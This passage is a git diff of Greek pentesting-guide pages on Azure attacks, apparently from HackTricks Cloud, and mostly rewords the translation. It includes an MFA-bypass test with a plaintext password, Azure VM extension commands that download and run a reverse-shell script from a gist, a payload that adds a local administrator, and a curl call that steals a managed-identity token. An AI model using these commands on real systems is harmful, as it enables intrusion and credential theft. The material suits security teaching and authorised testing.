η αυθεντικοποίηση με βάση το ROPC ήταν επιτυχής. > [!TIP] -> Πρέπει να έχετε άδειες για να καταγράψετε όλες τις εφαρμογές ώστε να μπορέσετε να δημιουργήσετε τη λίστα με τις εφαρμογές για brute-force. +> Πρέπει να έχετε δικαιώματα για να καταγράψετε όλες τις εφαρμογές ώστε να μπορέσετε να δημιουργήσετε τη λίστα με τις εφαρμογές για brute-force. ```bash ./ropci configure ./ropci apps list --all --format json -o apps.json @@ -142,19 +142,19 @@ Invoke-MFASweep -Username -Password
**Δοκιμάστε κάθε πύλη** αν είναι δυνατόν να **συνδεθείτε χωρίς MFA**: -```powershell +```bash $username = "conditional-access-app-user@azure.training.hacktricks.xyz" $password = ConvertTo-SecureString "Poehurgi78633" -AsPlainText -Force $cred = New-Object System.Management.Automation.PSCredential($username, $password) Invoke-MFATest -credential $cred -Verbose -Debug -InformationAction Continue ``` Επειδή το **Azure** **portal** **δεν είναι περιορισμένο**, είναι δυνατόν να **συλλεχθεί ένα token από το endpoint του portal για να αποκτηθεί πρόσβαση σε οποιαδήποτε υπηρεσία ανιχνεύθηκε** από την προηγούμενη εκτέλεση. Σε αυτή την περίπτωση, το Sharepoint αναγνωρίστηκε και ζητείται ένα token για την πρόσβαση σε αυτό: -```powershell +```bash $token = Get-DelegationTokenFromAzurePortal -credential $cred -token_type microsoft.graph -extension_type Microsoft_Intune Read-JWTtoken -token $token.access_token ``` Υποθέτοντας ότι το token έχει την άδεια Sites.Read.All (από το Sharepoint), ακόμη και αν δεν μπορείτε να αποκτήσετε πρόσβαση στο Sharepoint από το διαδίκτυο λόγω MFA, είναι δυνατόν να χρησιμοποιήσετε το token για να αποκτήσετε πρόσβαση στα αρχεία με το παραγόμενο token: -```powershell +```bash $data = Get-SharePointFilesFromGraph -authentication $token $data[0].downloadUrl ``` ## Αναφορές diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md index 637b4e7a1..bd74fa0f3 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md @@ -4,26 +4,26 @@ ## Basic Information -**Δυναμικές ομάδες** είναι ομάδες που έχουν ρυθμισμένο ένα σύνολο **κανόνων** και όλοι οι **χρήστες ή συσκευές** που ταιριάζουν με τους κανόνες προστίθενται στην ομάδα. Κάθε φορά που μια **ιδιότητα** χρήστη ή συσκευής **αλλάζεται**, οι δυναμικοί κανόνες **επαληθεύονται** ξανά. Και όταν ένας **νέος κανόνας** **δημιουργείται**, όλες οι συσκευές και οι χρήστες **ελέγχονται**. +**Dynamic groups** είναι ομάδες που έχουν ένα σύνολο **κανόνων** ρυθμισμένων και όλοι οι **χρήστες ή συσκευές** που ταιριάζουν με τους κανόνες προστίθενται στην ομάδα. Κάθε φορά που ένα **χαρακτηριστικό** χρήστη ή συσκευής **αλλάζει**, οι δυναμικοί κανόνες **επαληθεύονται** ξανά. Και όταν δημιουργείται ένας **νέος κανόνας**, όλες οι συσκευές και οι χρήστες **ελέγχονται**. -Οι δυναμικές ομάδες μπορούν να έχουν **ρόλους Azure RBAC** ανατεθειμένους σε αυτές, αλλά **δεν είναι δυνατή** η προσθήκη **ρόλων AzureAD** σε δυναμικές ομάδες. +Οι δυναμικές ομάδες μπορούν να έχουν **Azure RBAC ρόλους** ανατεθειμένους σε αυτές, αλλά **δεν είναι δυνατή** η προσθήκη **AzureAD ρόλων** σε δυναμικές ομάδες. Αυτή η δυνατότητα απαιτεί άδεια Azure AD premium P1. ## Privesc -Σημειώστε ότι από προεπιλογή οποιοσδήποτε χρήστης μπορεί να προσκαλεί επισκέπτες στο Azure AD, οπότε, αν ένας κανόνας **δυναμικής ομάδας** δίνει **δικαιώματα** σε χρήστες με βάση **ιδιότητες** που μπορούν να **ρυθμιστούν** σε έναν νέο **επισκέπτη**, είναι δυνατόν να **δημιουργηθεί ένας επισκέπτης** με αυτές τις ιδιότητες και να **ανεβούν τα δικαιώματα**. Είναι επίσης δυνατόν για έναν επισκέπτη να διαχειρίζεται το προφίλ του και να αλλάζει αυτές τις ιδιότητες. +Σημειώστε ότι από προεπιλογή οποιοσδήποτε χρήστης μπορεί να προσκαλεί επισκέπτες στο Azure AD, οπότε, αν ένας κανόνας **δυναμικής ομάδας** δίνει **δικαιώματα** σε χρήστες με βάση **χαρακτηριστικά** που μπορούν να **ρυθμιστούν** σε έναν νέο **επισκέπτη**, είναι δυνατόν να **δημιουργηθεί ένας επισκέπτης** με αυτά τα χαρακτηριστικά και να **ανεβούν τα δικαιώματα**. Είναι επίσης δυνατό για έναν επισκέπτη να διαχειρίζεται το προφίλ του και να αλλάζει αυτά τα χαρακτηριστικά. Αποκτήστε ομάδες που επιτρέπουν Δυναμική συμμετοχή: **`az ad group list --query "[?contains(groupTypes, 'DynamicMembership')]" --output table`** ### Example -- **Παράδειγμα κανόνα**: `(user.otherMails -any (_ -contains "security")) -and (user.userType -eq "guest")` -- **Περιγραφή κανόνα**: Οποιοσδήποτε χρήστης Επισκέπτης με δευτερεύον email που περιέχει τη λέξη 'security' θα προστεθεί στην ομάδα +- **Rule example**: `(user.otherMails -any (_ -contains "security")) -and (user.userType -eq "guest")` +- **Rule description**: Οποιοσδήποτε επισκέπτης χρήστης με δευτερεύον email που περιέχει τη λέξη 'security' θα προστεθεί στην ομάδα -Για το email του χρήστη Επισκέπτη, αποδεχτείτε την πρόσκληση και ελέγξτε τις τρέχουσες ρυθμίσεις **αυτού του χρήστη** στο [https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView](https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView).\ -Δυστυχώς, η σελίδα δεν επιτρέπει την τροποποίηση των τιμών των ιδιοτήτων, οπότε πρέπει να χρησιμοποιήσουμε το API: -```powershell +Για το email του επισκέπτη χρήστη, αποδεχτείτε την πρόσκληση και ελέγξτε τις τρέχουσες ρυθμίσεις **αυτού του χρήστη** στο [https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView](https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView).\ +Δυστυχώς, η σελίδα δεν επιτρέπει την τροποποίηση των τιμών χαρακτηριστικών, οπότε πρέπει να χρησιμοποιήσουμε το API: +```bash # Login with the gust user az login --allow-no-subscriptions diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md index 67ee338d0..72bb58080 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md @@ -76,10 +76,10 @@ az vm extension set \ --settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/33b6d1a80421694e85d96b2a63fd1924/raw/d0ef31f62aaafaabfa6235291e3e931e20b0fc6f/ps1_rev_shell.ps1"]}' \ --protected-settings '{"commandToExecute": "powershell.exe -ExecutionPolicy Bypass -File ps1_rev_shell.ps1"}' ``` -Μπορείτε επίσης να εκτελέσετε άλλες payloads όπως: `powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add` +Μπορείτε επίσης να εκτελέσετε άλλα payloads όπως: `powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add` - Επαναφορά κωδικού πρόσβασης χρησιμοποιώντας την επέκταση VMAccess -```powershell +```bash # Run VMAccess extension to reset the password $cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password Set-AzVMAccessExtension -ResourceGroupName "" -VMName "" -Name "myVMAccess" -Credential $cred @@ -94,7 +94,7 @@ Set-AzVMAccessExtension -ResourceGroupName "" -VMName "" -Na VMAccess extension Αυτή η επέκταση επιτρέπει την τροποποίηση του κωδικού πρόσβασης (ή τη δημιουργία αν δεν υπάρχει) χρηστών μέσα σε Windows VMs. -```powershell +```bash # Run VMAccess extension to reset the password $cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password Set-AzVMAccessExtension -ResourceGroupName "" -VMName "" -Name "myVMAccess" -Credential $cred @@ -106,7 +106,7 @@ Set-AzVMAccessExtension -ResourceGroupName "" -VMName "" -Na DesiredConfigurationState (DSC) Αυτή είναι μια **VM extension** που ανήκει στη Microsoft και χρησιμοποιεί το PowerShell DSC για να διαχειρίζεται τη διαμόρφωση των Azure Windows VMs. Επομένως, μπορεί να χρησιμοποιηθεί για **να εκτελεί αυθαίρετες εντολές** σε Windows VMs μέσω αυτής της επέκτασης: -```powershell +```bash # Content of revShell.ps1 Configuration RevShellConfig { Node localhost { diff --git a/src/pentesting-cloud/azure-security/az-services/README.md b/src/pentesting-cloud/azure-security/az-services/README.md index d85b8bf39..2b48bcb42 100644 --- a/src/pentesting-cloud/azure-security/az-services/README.md +++ b/src/pentesting-cloud/azure-security/az-services/README.md @@ -13,7 +13,7 @@ Αποκτήστε το **access_token** από το **IDENTITY_HEADER** και το **IDENTITY_ENDPOINT**: `system('curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER');`. Στη συνέχεια, κάντε ερώτημα στο Azure REST API για να αποκτήσετε το **subscription ID** και περισσότερα. -```powershell +```bash $Token = 'eyJ0eX..' $URI = 'https://management.azure.com/subscriptions?api-version=2020-01-01' # $URI = 'https://graph.microsoft.com/v1.0/applications' @@ -30,7 +30,7 @@ Headers = @{ $URI = 'https://management.azure.com/subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resources?api-version=2020-10-01' $URI = 'https://management.azure.com/subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resourceGroups//providers/Microsoft.Compute/virtualMachines/ [!WARNING] > Σημειώστε ότι **κανένα** από αυτά τα επίπεδα απομόνωσης **δεν αποτρέπει** άλλες κοινές **ευπάθειες ιστού** (όπως η μεταφόρτωση αρχείων ή οι εισβολές). Και αν χρησιμοποιηθεί μια **ταυτότητα διαχείρισης**, θα μπορούσε να είναι σε θέση να **κλιμακώσει τα δικαιώματα σε αυτές**. @@ -21,7 +21,7 @@ - Αυτό είναι απαραίτητο αν έχετε μια webjob που χρειάζεται να εκτελείται συνεχώς, καθώς η webjob θα σταματήσει αν η εφαρμογή σταματήσει. - **SSH**: Αν είναι ενεργοποιημένο, ένας χρήστης με αρκετά δικαιώματα μπορεί να συνδεθεί στην εφαρμογή χρησιμοποιώντας SSH. - **Debugging**: Αν είναι ενεργοποιημένο, ένας χρήστης με αρκετά δικαιώματα μπορεί να αποσφαλματώσει την εφαρμογή. Ωστόσο, αυτό απενεργοποιείται αυτόματα κάθε 48 ώρες. -- **Web App + Database**: Η διαδικτυακή κονσόλα επιτρέπει τη δημιουργία μιας εφαρμογής με μια βάση δεδομένων. Σε αυτή την περίπτωση, είναι δυνατή η επιλογή της βάσης δεδομένων που θα χρησιμοποιηθεί (SQLAzure, PostgreSQL, MySQL, MongoDB) και επιτρέπει επίσης τη δημιουργία ενός Azure Cache for Redis. +- **Web App + Database**: Η διαδικτυακή κονσόλα επιτρέπει τη δημιουργία μιας εφαρμογής με μια βάση δεδομένων. Σε αυτή την περίπτωση, είναι δυνατή η επιλογή της βάσης δεδομένων που θα χρησιμοποιηθεί (SQLAzure, PostgreSQL, MySQL, MongoDB) και επιτρέπει επίσης τη δημιουργία ενός Azure Cache για Redis. - Η διεύθυνση URL που περιέχει τα διαπιστευτήρια για τη βάση δεδομένων και το Redis θα αποθηκευτεί στα **appsettings**. - **Container**: Είναι δυνατή η ανάπτυξη ενός container στην υπηρεσία App Service υποδεικνύοντας τη διεύθυνση URL του container και τα διαπιστευτήρια για την πρόσβαση σε αυτό. - **Mounts**: Είναι δυνατή η δημιουργία 5 mounts από λογαριασμούς αποθήκευσης, είτε αυτοί είναι Azure Blob (Μόνο για Ανάγνωση) είτε Azure Files. Η ρύθμιση θα αποθηκεύσει το κλειδί πρόσβασης πάνω από τον λογαριασμό αποθήκευσης. @@ -35,13 +35,13 @@ Ο **διακομιστής FTP δεν έχει καμία ειδική μαγεία**, απλά με την έγκυρη διεύθυνση URL, το όνομα χρήστη και τον κωδικό πρόσβασης είναι δυνατή η σύνδεση και η απόκτηση δικαιωμάτων ανάγνωσης και εγγραφής στο περιβάλλον της εφαρμογής. Το SCM -Είναι δυνατή η σύνδεση στο SCM χρησιμοποιώντας έναν διαδικτυακό περιηγητή στη διεύθυνση `https:///BasicAuth` και η εξέταση όλων των αρχείων και των αναπτύξεων εκεί. +Είναι δυνατή η σύνδεση στο SCM χρησιμοποιώντας έναν διαδικτυακό περιηγητή στη διεύθυνση `https:///BasicAuth` και έλεγχος όλων των αρχείων και των αναπτύξεων εκεί. ### Kudu -Το Kudu είναι η πλατφόρμα που **διαχειρίζεται τόσο το SCM όσο και μια διαδικτυακή και API διεπαφή** για τη διαχείριση μιας υπηρεσίας App Service, και παρέχει δυνατότητες ανάπτυξης βασισμένες σε Git, απομακρυσμένη αποσφαλμάτωση και διαχείριση αρχείων. Είναι προσβάσιμο μέσω της διεύθυνσης URL SCM που ορίζεται στην διαδικτυακή εφαρμογή. +Kudu είναι η πλατφόρμα που **διαχειρίζεται τόσο το SCM όσο και μια διαδικτυακή και API διεπαφή** για τη διαχείριση μιας υπηρεσίας App Service, και παρέχει δυνατότητες ανάπτυξης βασισμένες σε Git, απομακρυσμένη αποσφαλμάτωση και διαχείριση αρχείων. Είναι προσβάσιμη μέσω της διεύθυνσης URL SCM που ορίζεται στην διαδικτυακή εφαρμογή. -Σημειώστε ότι οι εκδόσεις Kudu που χρησιμοποιούνται από τις υπηρεσίες App Services και από τις Function Apps είναι διαφορετικές, με την έκδοση των Function apps να είναι πολύ πιο περιορισμένη. +Σημειώστε ότι οι εκδόσεις Kudu που χρησιμοποιούνται από τις Υπηρεσίες App και από τις Εφαρμογές Λειτουργιών είναι διαφορετικές, με την έκδοση των Εφαρμογών Λειτουργιών να είναι πολύ πιο περιορισμένη. Ορισμένα ενδιαφέροντα endpoints που μπορείτε να βρείτε στο Kudu είναι: - `/BasicAuth`: Πρέπει να αποκτήσετε πρόσβαση σε αυτή τη διαδρομή για να **συνδεθείτε στο Kudu**. @@ -52,15 +52,15 @@ - `/Env`: Λάβετε πληροφορίες σχετικά με το σύστημα, τις ρυθμίσεις εφαρμογής, τις μεταβλητές περιβάλλοντος, τις συμβολοσειρές σύνδεσης και τις κεφαλίδες HTTP. - `/wwwroot/`: Ο ριζικός κατάλογος της διαδικτυακής εφαρμογής. Μπορείτε να κατεβάσετε όλα τα αρχεία από εδώ. -Επιπλέον, το Kudu ήταν ανοιχτού κώδικα στο [https://github.com/projectkudu/kudu](https://github.com/projectkudu/kudu), αλλά το έργο έχει αποσυρθεί και συγκρίνοντας τη συμπεριφορά του τρέχοντος Kudu στην Azure με το παλιό, είναι δυνατόν να παρατηρήσετε ότι **πολλά πράγματα έχουν ήδη αλλάξει**. +Επιπλέον, το Kudu ήταν ανοιχτού κώδικα στο [https://github.com/projectkudu/kudu](https://github.com/projectkudu/kudu), αλλά το έργο έχει αποσυρθεί και συγκρίνοντας τη συμπεριφορά του τρέχοντος Kudu στην Azure με το παλιό, είναι δυνατό να παρατηρήσετε ότι **πολλά πράγματα έχουν ήδη αλλάξει**. ## Sources -Οι υπηρεσίες App Services επιτρέπουν την ανέβασμα του κώδικα ως αρχείο zip από προεπιλογή, αλλά επιτρέπουν επίσης τη σύνδεση σε μια τρίτη υπηρεσία και την απόκτηση του κώδικα από εκεί. +Οι Υπηρεσίες App επιτρέπουν την αποστολή του κώδικα ως αρχείο zip από προεπιλογή, αλλά επιτρέπουν επίσης τη σύνδεση σε μια υπηρεσία τρίτου μέρους και την απόκτηση του κώδικα από εκεί. -- Οι τρέχουσες υποστηριζόμενες τρίτες πηγές είναι **Github** και **Bitbucket**. +- Οι υποστηριζόμενες τρίτες πηγές είναι **Github** και **Bitbucket**. - Μπορείτε να αποκτήσετε τα διαπιστευτήρια αυθεντικοποίησης εκτελώντας `az rest --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"` -- Η Azure από προεπιλογή θα ρυθμίσει μια **Github Action** για να αναπτύξει τον κώδικα στην υπηρεσία App Service κάθε φορά που ενημερώνεται ο κώδικας. +- Η Azure από προεπιλογή θα ρυθμίσει μια **Github Action** για να αναπτύξει τον κώδικα στην Υπηρεσία App κάθε φορά που ενημερώνεται ο κώδικας. - Είναι επίσης δυνατή η ένδειξη ενός **απομακρυσμένου git repository** (με όνομα χρήστη και κωδικό πρόσβασης) για να αποκτήσετε τον κώδικα από εκεί. - Μπορείτε να αποκτήσετε τα διαπιστευτήρια για το απομακρυσμένο repo εκτελώντας `az webapp deployment source show --name --resource-group ` ή `az rest --method POST --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//config/metadata/list?api-version=2022-03-01" --resource "https://management.azure.com"` - Είναι επίσης δυνατή η χρήση ενός **Azure Repository**. @@ -70,10 +70,10 @@ ## Webjobs -Οι Azure WebJobs είναι **εργασίες φόντου που εκτελούνται στο περιβάλλον Azure App Service**. Επιτρέπουν στους προγραμματιστές να εκτελούν σενάρια ή προγράμματα παράλληλα με τις διαδικτυακές τους εφαρμογές, διευκολύνοντας την επεξεργασία ασύγχρονων ή χρονοβόρων λειτουργιών όπως η επεξεργασία αρχείων, η διαχείριση δεδομένων ή οι προγραμματισμένες εργασίες. +Οι Azure WebJobs είναι **εργασίες παρασκηνίου που εκτελούνται στο περιβάλλον Azure App Service**. Επιτρέπουν στους προγραμματιστές να εκτελούν σενάρια ή προγράμματα παράλληλα με τις διαδικτυακές τους εφαρμογές, διευκολύνοντας την εκτέλεση ασύγχρονων ή χρονοβόρων εργασιών όπως η επεξεργασία αρχείων, η διαχείριση δεδομένων ή οι προγραμματισμένες εργασίες. Υπάρχουν 2 τύποι web jobs: -- **Continuous**: Εκτελείται αδιάκοπα σε βρόχο και ενεργοποιείται μόλις δημιουργηθεί. Είναι ιδανικό για εργασίες που απαιτούν συνεχή επεξεργασία. Ωστόσο, αν η εφαρμογή σταματήσει να λειτουργεί επειδή το Always On είναι απενεργοποιημένο και δεν έχει λάβει αίτημα τα τελευταία 20 λεπτά, η web job θα σταματήσει επίσης. -- **Triggered**: Εκτελείται κατόπιν αιτήματος ή με βάση ένα πρόγραμμα. Είναι καλύτερα προσαρμοσμένο για περιοδικές εργασίες, όπως ενημερώσεις δεδομένων batch ή ρουτίνες συντήρησης. +- **Continuous**: Εκτελείται αδιάκοπα σε βρόχο και ενεργοποιείται μόλις δημιουργηθεί. Είναι ιδανικό για εργασίες που απαιτούν συνεχή επεξεργασία. Ωστόσο, αν η εφαρμογή σταματήσει να λειτουργεί επειδή το Always On είναι απενεργοποιημένο και δεν έχει λάβει αίτημα στα τελευταία 20 λεπτά, η web job θα σταματήσει επίσης. +- **Triggered**: Εκτελείται κατόπιν αιτήματος ή με βάση ένα πρόγραμμα. Είναι πιο κατάλληλο για περιοδικές εργασίες, όπως ενημερώσεις δεδομένων σε παρτίδες ή ρουτίνες συντήρησης. Οι webjobs είναι πολύ ενδιαφέρουσες από την προοπτική των επιτιθέμενων, καθώς θα μπορούσαν να χρησιμοποιηθούν για **εκτέλεση κώδικα** στο περιβάλλον και **κλιμάκωση δικαιωμάτων** στις συνδεδεμένες διαχειριζόμενες ταυτότητες. @@ -81,15 +81,15 @@ ## Slots -Οι Azure App Service Slots χρησιμοποιούνται για **να αναπτύξουν διαφορετικές εκδόσεις της εφαρμογής** στην ίδια υπηρεσία App Service. Αυτό επιτρέπει στους προγραμματιστές να δοκιμάζουν νέες δυνατότητες ή αλλαγές σε ένα ξεχωριστό περιβάλλον πριν τις αναπτύξουν στο περιβάλλον παραγωγής. +Οι Θέσεις Υπηρεσίας App Azure χρησιμοποιούνται για **να αναπτύξουν διαφορετικές εκδόσεις της εφαρμογής** στην ίδια Υπηρεσία App. Αυτό επιτρέπει στους προγραμματιστές να δοκιμάζουν νέες δυνατότητες ή αλλαγές σε ένα ξεχωριστό περιβάλλον πριν τις αναπτύξουν στο περιβάλλον παραγωγής. -Επιπλέον, είναι δυνατή η δρομολόγηση ενός **ποσοστού της κίνησης** σε μια συγκεκριμένη υποδοχή, κάτι που είναι χρήσιμο για A/B testing και για **σκοπούς backdoor**. +Επιπλέον, είναι δυνατή η δρομολόγηση ενός **ποσοστού της κίνησης** σε μια συγκεκριμένη θέση, κάτι που είναι χρήσιμο για A/B testing και για **σκοπούς backdoor**. ## Azure Function Apps -Βασικά, **οι Azure Function apps είναι ένα υποσύνολο των Azure App Service** στην διαδικτυακή κονσόλα και αν πάτε στην διαδικτυακή κονσόλα και καταγράψετε όλες τις υπηρεσίες εφαρμογών ή εκτελέσετε `az webapp list` στο az cli, θα μπορείτε να **δείτε τις Function apps επίσης καταγεγραμμένες εκεί**. +Βασικά, **οι Azure Function apps είναι ένα υποσύνολο της Azure App Service** στην διαδικτυακή κονσόλα και αν πάτε στην διαδικτυακή κονσόλα και καταγράψετε όλες τις υπηρεσίες εφαρμογών ή εκτελέσετε `az webapp list` στο az cli, θα μπορείτε να **δείτε τις Εφαρμογές Λειτουργιών επίσης καταγεγραμμένες εκεί**. -Επομένως, και οι δύο υπηρεσίες έχουν κυρίως τις **ίδιες ρυθμίσεις, δυνατότητες και επιλογές στο az cli**, αν και μπορεί να τις ρυθμίζουν λίγο διαφορετικά (όπως οι προεπιλεγμένες τιμές των appsettings ή η χρήση ενός Storage Account στις Function apps). +Επομένως, και οι δύο υπηρεσίες έχουν κυρίως τις **ίδιες ρυθμίσεις, δυνατότητες και επιλογές στο az cli**, αν και μπορεί να τις ρυθμίζουν λίγο διαφορετικά (όπως οι προεπιλεγμένες τιμές των appsettings ή η χρήση ενός Λογαριασμού Αποθήκευσης στις Εφαρμογές Λειτουργιών). ## Enumeration @@ -180,7 +180,7 @@ az webapp hybrid-connections list --name --resource-group {{#endtab }} {{#tab name="Az Powershell" }} -```powershell +```bash # Get App Services and Function Apps Get-AzWebApp # Get only App Services @@ -253,10 +253,10 @@ az webapp up --runtime PYTHON:3.9 --sku B1 --logs 2. Δημιουργήστε μια νέα python Web App στο Azure. 3. Στο `Deployment Center` αλλάξτε την πηγή, συνδεθείτε με το Github, επιλέξτε το forked repo και κάντε κλικ στο `Save`. -Όπως στην προηγούμενη περίπτωση, συνδεόμενοι στο SCM portal ή συνδεόμενοι μέσω FTP, είναι δυνατόν να δούμε στο `/wwwroot` το συμπιεσμένο αρχείο `output.tar.gz` που περιέχει τον κώδικα της webapp. +Όπως και στην προηγούμενη περίπτωση, συνδεόμενοι στο SCM portal ή συνδεόμενοι μέσω FTP, είναι δυνατόν να δούμε στο `/wwwroot` το συμπιεσμένο αρχείο `output.tar.gz` που περιέχει τον κώδικα της webapp. > [!TIP] -> Απλώς η σύνδεση μέσω FTP και η τροποποίηση του αρχείου `output.tar.gz` και η επαναφορά μιας ανάπτυξης δεν είναι αρκετή για να αλλάξει τον κώδικα που εκτελείται από την webapp. +> Απλώς η σύνδεση μέσω FTP και η τροποποίηση του αρχείου `output.tar.gz` και η επανενεργοποίηση μιας ανάπτυξης δεν είναι αρκετή για να αλλάξει τον κώδικα που εκτελείται από την webapp. ## Privilege Escalation diff --git a/src/pentesting-cloud/azure-security/az-services/az-application-proxy.md b/src/pentesting-cloud/azure-security/az-services/az-application-proxy.md index 16f92eac4..e04ee8009 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-application-proxy.md +++ b/src/pentesting-cloud/azure-security/az-services/az-application-proxy.md @@ -6,21 +6,21 @@ [Από τα έγγραφα:](https://learn.microsoft.com/en-us/entra/identity/app-proxy/application-proxy) -Η υπηρεσία Application Proxy του Azure Active Directory παρέχει **ασφαλή απομακρυσμένη πρόσβαση σε εφαρμογές ιστού που βρίσκονται στις εγκαταστάσεις**. Μετά από μια **ενιαία σύνδεση στο Azure AD**, οι χρήστες μπορούν να έχουν πρόσβαση τόσο σε **cloud** όσο και σε **εφαρμογές που βρίσκονται στις εγκαταστάσεις** μέσω μιας **εξωτερικής διεύθυνσης URL** ή ενός εσωτερικού πύλης εφαρμογών. +Η Υπηρεσία Proxy Εφαρμογών του Azure Active Directory παρέχει **ασφαλή απομακρυσμένη πρόσβαση σε εφαρμογές ιστού που βρίσκονται στις εγκαταστάσεις**. Μετά από μια **ενιαία σύνδεση στο Azure AD**, οι χρήστες μπορούν να έχουν πρόσβαση τόσο σε **εφαρμογές cloud** όσο και σε **εφαρμογές που βρίσκονται στις εγκαταστάσεις** μέσω μιας **εξωτερικής διεύθυνσης URL** ή ενός εσωτερικού πύλης εφαρμογών. Λειτουργεί ως εξής:
-1. Μετά την πρόσβαση του χρήστη στην εφαρμογή μέσω ενός σημείου πρόσβασης, ο χρήστης κατευθύνεται στη **σελίδα σύνδεσης του Azure AD**. +1. Αφού ο χρήστης έχει αποκτήσει πρόσβαση στην εφαρμογή μέσω ενός σημείου πρόσβασης, ο χρήστης κατευθύνεται στη **σελίδα σύνδεσης του Azure AD**. 2. Μετά από μια **επιτυχημένη σύνδεση**, το Azure AD στέλνει ένα **token** στη συσκευή του χρήστη. -3. Ο πελάτης στέλνει το token στην **υπηρεσία Application Proxy**, η οποία ανακτά το όνομα κύριου χρήστη (UPN) και το όνομα ασφαλείας (SPN) από το token. **Η Application Proxy στη συνέχεια στέλνει το αίτημα στον συνδετήρα Application Proxy**. +3. Ο πελάτης στέλνει το token στην **υπηρεσία Proxy Εφαρμογών**, η οποία ανακτά το όνομα κύριου χρήστη (UPN) και το όνομα ασφαλείας (SPN) από το token. **Η Proxy Εφαρμογών στη συνέχεια στέλνει το αίτημα στον συνδετήρα Proxy Εφαρμογών**. 4. Εάν έχετε ρυθμίσει την ενιαία σύνδεση, ο συνδετήρας εκτελεί οποιαδήποτε **επιπλέον αυθεντικοποίηση** απαιτείται εκ μέρους του χρήστη. 5. Ο συνδετήρας στέλνει το αίτημα στην **εφαρμογή που βρίσκεται στις εγκαταστάσεις**. -6. Η **απάντηση** αποστέλλεται μέσω του συνδετήρα και της υπηρεσίας Application Proxy **στον χρήστη**. +6. Η **απάντηση** αποστέλλεται μέσω του συνδετήρα και της υπηρεσίας Proxy Εφαρμογών **στον χρήστη**. ## Enumeration -```powershell +```bash # Enumerate applications with application proxy configured Get-AzureADApplication | %{try{Get-AzureADApplicationProxyApplication -ObjectId $_.ObjectID;$_.DisplayName;$_.ObjectID}catch{}} diff --git a/src/pentesting-cloud/azure-security/az-services/az-arm-templates.md b/src/pentesting-cloud/azure-security/az-services/az-arm-templates.md index 8364bc9c9..598d80330 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-arm-templates.md +++ b/src/pentesting-cloud/azure-security/az-services/az-arm-templates.md @@ -4,16 +4,16 @@ ## Basic Information -[Από τα έγγραφα:](https://learn.microsoft.com/en-us/azure/azure-resource-manager/templates/overview) Για να εφαρμόσετε **infrastructure as code για τις λύσεις Azure σας**, χρησιμοποιήστε τα πρότυπα Azure Resource Manager (ARM templates). Το πρότυπο είναι ένα αρχείο JavaScript Object Notation (**JSON**) που **ορίζει** την **υποδομή** και τη διαμόρφωση για το έργο σας. Το πρότυπο χρησιμοποιεί δηλωτική σύνταξη, η οποία σας επιτρέπει να δηλώσετε τι σκοπεύετε να αναπτύξετε χωρίς να χρειάζεται να γράψετε τη σειρά των εντολών προγραμματισμού για να το δημιουργήσετε. Στο πρότυπο, καθορίζετε τους πόρους που θα αναπτυχθούν και τις ιδιότητες για αυτούς τους πόρους. +[From the docs:](https://learn.microsoft.com/en-us/azure/azure-resource-manager/templates/overview) Για να εφαρμόσετε **infrastructure as code για τις λύσεις Azure σας**, χρησιμοποιήστε τα πρότυπα Azure Resource Manager (ARM templates). Το πρότυπο είναι ένα αρχείο JavaScript Object Notation (**JSON**) που **ορίζει** την **υποδομή** και τη διαμόρφωση για το έργο σας. Το πρότυπο χρησιμοποιεί δηλωτική σύνταξη, η οποία σας επιτρέπει να δηλώσετε τι σκοπεύετε να αναπτύξετε χωρίς να χρειάζεται να γράψετε τη σειρά των εντολών προγραμματισμού για να το δημιουργήσετε. Στο πρότυπο, καθορίζετε τους πόρους που θα αναπτυχθούν και τις ιδιότητες για αυτούς τους πόρους. ### History -Αν μπορείτε να έχετε πρόσβαση σε αυτό, μπορείτε να έχετε **πληροφορίες σχετικά με πόρους** που δεν είναι παρόντες αλλά μπορεί να αναπτυχθούν στο μέλλον. Επιπλέον, αν μια **παράμετρος** που περιέχει **ευαίσθητες πληροφορίες** έχει χαρακτηριστεί ως "**String**" **αντί** για "**SecureString**", θα είναι παρούσα σε **καθαρό κείμενο**. +Αν μπορείτε να έχετε πρόσβαση σε αυτό, μπορείτε να έχετε **info about resources** που δεν είναι παρόντα αλλά μπορεί να αναπτυχθούν στο μέλλον. Επιπλέον, αν μια **parameter** που περιέχει **sensitive info** έχει χαρακτηριστεί ως "**String**" **αντί** για "**SecureString**", θα είναι παρούσα σε **clear-text**. ## Search Sensitive Info -Χρήστες με τα δικαιώματα `Microsoft.Resources/deployments/read` και `Microsoft.Resources/subscriptions/resourceGroups/read` μπορούν να **διαβάσουν την ιστορία ανάπτυξης**. -```powershell +Users with the permissions `Microsoft.Resources/deployments/read` and `Microsoft.Resources/subscriptions/resourceGroups/read` can **read the deployment history**. +```bash Get-AzResourceGroup Get-AzResourceGroupDeployment -ResourceGroupName diff --git 